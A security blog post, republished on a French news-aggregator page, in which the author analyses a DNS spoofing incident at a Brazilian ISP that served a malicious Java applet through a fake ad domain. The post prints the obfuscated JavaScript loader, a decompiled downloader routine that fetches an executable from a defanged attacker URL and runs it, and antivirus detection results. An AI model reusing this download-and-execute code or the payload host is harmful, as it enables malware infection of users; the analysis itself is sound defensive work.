|
|
Si vous voulez bloquer ce service sur vos fils RSS
Si vous voulez nous contacter ou nous proposer un fil RSS
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Présentation : My ISP's (NET Vírtua, Curitiba, Brazil) DNS record for Google's AdSense (pagead2.googlesyndication.com) was spoofed on friday night. Friday night, at 11 pm local time, I was accessing a blog on Oracle Access Manager, one of the things I work with at the moment. The blog page seemed very legit with installation and configuration instructions for the product. After it finished loading, my firefox asked me if I wanted to execute a signed applet, with the following dialog: Ok, the name Java Plugin sort of inspires confidence, Sun Microsystems as the publisher as well and if it weren't for 1) the strange "From" address (wwww.sl) 2) the fact that the signature had been signed by a certificate that was both untrusted and expired 3) and the fact that there was absolutely no valid motive for the blog site to run anything with a signed applet ..I actually might have considered accepting and clicked on the run. Instead I tried refreshing the page and saw that the applet tried to run once again. I looked at the Java Plug-in console and saw this: java.lang.SecurityException: Unable to create temporary file at java.io.File.checkAndCreate(Unknown Source) at java.io.File.createTempFile(Unknown Source) at java.io.File.createTempFile(Unknown Source) at debug.debugnow(debug.java:20) at debug.init(debug.java:48) at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source) at java.lang.Thread.run(Unknown Source) Ok, so the applet tried to create a temporary file on my computer. Good thing I didn't give it any extended privileges. The fact that they named their class "debug" is cute, altough somebody should point the creators to the Java coding conventions site for class and method names. I went after the site's HTML source, trying to find an applet, object or embed tag, but had no luck so I imagined it was in an iframe or generated by javascript. By method of elimination, I got to an improbable suspect: I opened the show_ads.js and saw that it set the content of the AdSense widget to an iframe pointing to: hxxp://wwww.sl/generic.html (do not access unless you know exactly what you're doing). Seeing the host name, I knew something was off. I opened that page manually and my browser once again asked me if I wanted to run the applet. I pinged pagead2.googlesyndication.com to see what IP my DNS was giving me, and it was 68.23.204.165, which is nowhere near correct. IP address: 68.23.204.165 Reverse DNS: 68-23-204-165.ded.ameritech.net. Reverse DNS authenticity: [Verified] ASN: 7132 ASN Name: SBIS-AS IP range connectivity: 19 Registrar (per ASN): ARIN Country (per IP registrar): US [United States] Country Currency: USD [United States Dollars] Country IP Range: 68.0.0.0 to 68.63.255.255 Country fraud profile: Normal City (per outside source): Akron, Ohio Country (per outside source): US [United States] Private (internal) IP? No IP address registrar: whois.arin.net Known Proxy? No Link for WHOIS: 68.23.204.165 So that was the problem. Don't know how exactly that was done, but a quick IM roundup proved that all my friends that were awake at the time were also getting the same, wrong IP. Curious to see what the debug class wanted to do to me, I dug deeper. The generic.html contents were (and at the time of writing, still are) an obfuscated javascript: 4,/|ag*gkfsjmov-eij.slc`9kgqafcwkw(r{dpBc`hsethlga}Ia etObg%22/et5,38r`ttanltdttmGnleq. 8et)meso`iumq*pubz@efjq(t}cqwv-hf~hebpjt)}rgqEbci|/km``~Hn)%25NWLC !*7*(46.3hd+%25hgd.'tfvvohf?6*%7Faid}lgmp+iiknlwa}rjmowluYde|gow`}cgbwnakr)goolqvccgvlluYjl:flgpkbfu,ljnc~lnum9mvXee%7F~aiub(hd+`jeredlw*ig~msq*%7Froilnu-gdvs}sgFr`hs{)Guakr)ENWPAAIPF}Guakr)enfjblcu{}Guakr)CD[GKRH.3vkm`jq)goolqvccgvlluYjl:ujjaipetnlha|bh%7Fo?ktZkcudnpa%25oa em`qhci|/efp@jbedlwF|Oc.'#gkfsjmov-eij.sem`qhci|/mmgjhsmyvnaks:`q]`ix{(',/=8*UDZHRW:" ) ) ; //--:wiscn$kgjm%3C {-,srqpetrn,rj~disfp*fijetcp,mhg`ml,f|`$9 ,euvkmu%3C9'*%25.JFEA+*6" ) ) ; //--To display this page you need a browser with JavaScript support. After a bit of deobfuscation, it becomes something like: 80 ) { ar [ ic + + ] = os ; os = "" } } o = ar . join ( "" ) + os ; document . write ( o ) } //-- 4 ) { document . oncontextmenu = hp_cm } else { document . onmousedown = hp_md ; document . onkeydown = hp_md } } else if ( document . layers ) { window . captureEvents ( Event . MOUSEDOWN | Event . modifiers | Event . KEYDOWN ) ; window . onmousedown = hp_md ; window . onkeydown = hp_md } else if ( document . getElementById et et ! document . all ) { document . oncontextmenu = hp_cm } } //-- I imagine the javascript is for disabling sourcecode viewing, etc., but the interesting part is the applet tag. I downloaded the debug.jar and the most interesting part of the code is this: byte abyte0 [ ] = new byte [ 10240 ] ; String s = getParameter ( "x" ) ; String s1 = ".exe" ; File file = File . createTempFile ( "roger" , s1 ) ; FileOutputStream fileoutputstream = new FileOutputStream ( file ) ; URL url = new URL ( s ) ; URLConnection urlconnection = url . openConnection ( ) ; BufferedInputStream bufferedinputstream = new BufferedInputStream ( urlconnection . getInputStream ( ) ) ; int i ; while ( ( i = bufferedinputstream . read ( abyte0 ) ) 0 ) fileoutputstream . write ( abyte0 , 0 , i ) ; fileoutputstream . close ( ) ; try { Runtime . getRuntime ( ) . exec ( file . getAbsolutePath ( ) ) ; } catch ( IOException ioexception ) { File file1 = File . createTempFile ( "tmp" , ".bat" ) ; file1.createNewFile ( ) ; file1.deleteOnExit ( ) ; Runtime . getRuntime ( ) . exec ( file1.getAbsolutePath ( ) ) ; file1.delete ( ) ; } file . deleteOnExit ( ) ; In other words, download the file indicated by parameter x (hxxp://wwww.sl/voxcards.com.br/imagem.exe -- do not download unless you know what you're doing), save it as a temp file and execute it. Someone had already uploaded the debug.jar to virustotal, the antivirus guys seem to discriminate Java, and no one detects anything. In all fairness, I guess it's pretty generic and could be used to download et execute anything. http://www.virustotal.com/analisis/b5dfb4cae55beb8548dfea31a59bd0c2 I uploaded the imagem.exe (portuguese for image) to virustotal: http://www.virustotal.com/analisis/5b4444c18ce344611d1d3113485c1d3d and 7 products detect it: a-squared 4.0.0.101 2009.04.04 Trojan-Downloader.Win32.Banload!IK AntiVir 7.9.0.129 2009.04.03 TR/Spy.Banker.Gen eSafe 7.0.17.0 2009.04.02 Suspicious File F-Secure 8.0.14470.0 2009.04.03 Suspicious:W32/Malware!Gemini Ikarus T3.1.1.49.0 2009.04.04 Trojan-Downloader.Win32.Banload McAfee-GW-Edition 6.7.6 2009.04.03 Trojan.Spy.Banker.Gen Sophos 4.40.0 2009.04.04 Sus/BancDl-A I executed the applet inside a sandbox, and it downloaded and executed the imagem.exe as expected. From what I could empirically gather, the imagem.exe downloaded and executed another file: http://www.virustotal.com/analisis/b37d3dc31d57e1aa0973cbeabe43dbd8 Which was only detected by one vendor as: Win-Trojan/Banload.403968.D The DNS in question was giving the wrong IP at least from 23:00:00 03/04/2008 GMT-3 until 01:35:00 04/04/2008 GMT-3. I dare not guess how many got infected.[]
Les derniers articles du site " Slightly Random Broken Thoughts" :
- Java 6 update 26 is out - Inflated Java Malware Infection Rates - Oracle Java Applet Clipboard Injection Remote Code Execution Vulnerability - Java JFileChooser Programmatic Manipulation Vulnerability - Trusted Method Chaining for Network Interface details - Trusted Method Chaining to a System.exit - Hazards of Duke - Java 6 Update 22 is out - Breaking Defensive Serialization - Why Complex Powerful is a bad combination for security
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Si vous voulez bloquer ce service sur vos fils RSS :
- avec iptables "iptables -A INPUT -s 88.191.75.173 --dport 80 -j DROP"
- avec ipfw et wipfw "ipfw add deny from 88.191.75.173 to any 80"
- Nous contacter par mail
| Mini-Tagwall des articles publiés sur SecuObs : | | | | sécurité, exploit, windows, attaque, outil, microsoft, réseau, audit, metasploit, vulnérabilité, système, virus, internet, usbsploit, données, source, linux, protocol, présentation, scanne, réseaux, scanner, bluetooth, conférence, reverse, shell, meterpreter, vista, rootkit, détection, mobile, security, malicieux, engineering, téléphone, paquet, trames, https, noyau, utilisant, intel, wishmaster, google, sysun, libre |
| Mini-Tagwall de l'annuaire video : | | | | curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit, exploit, lockpicking, linux, attack, wireshark, vmware, rootkit, conference, network, shmoocon, backtrack, virus, conficker, elcom, etter, elcomsoft, server, meterpreter, openvpn, ettercap, openbs, iphone, shell, openbsd, iptables, securitytube, deepsec, source, office, systm, openssh, radio |
| Mini-Tagwall des articles de la revue de presse : | | | | security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone, server, inject, patch, apple, twitter, mobile, virus, ebook, facebook, vulnérabilité, crypt, source, linux, password, intel, research, virtual, phish, access, tutorial, trojan, social, privacy, firefox, adobe, overflow, office, cisco, conficker, botnet, pirate, sécurité |
| Mini-Tagwall des Tweets de la revue Twitter : | | | | security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall, network, twitter, vmware, windows, microsoft, compliance, vulnerability, python, engineering, source, kernel, crypt, social, overflow, nessus, crack, hacker, virus, iphone, patch, virtual, javascript, malware, conficker, pentest, research, email, password, adobe, apache, proxy, backtrack |
|
|
|
|
|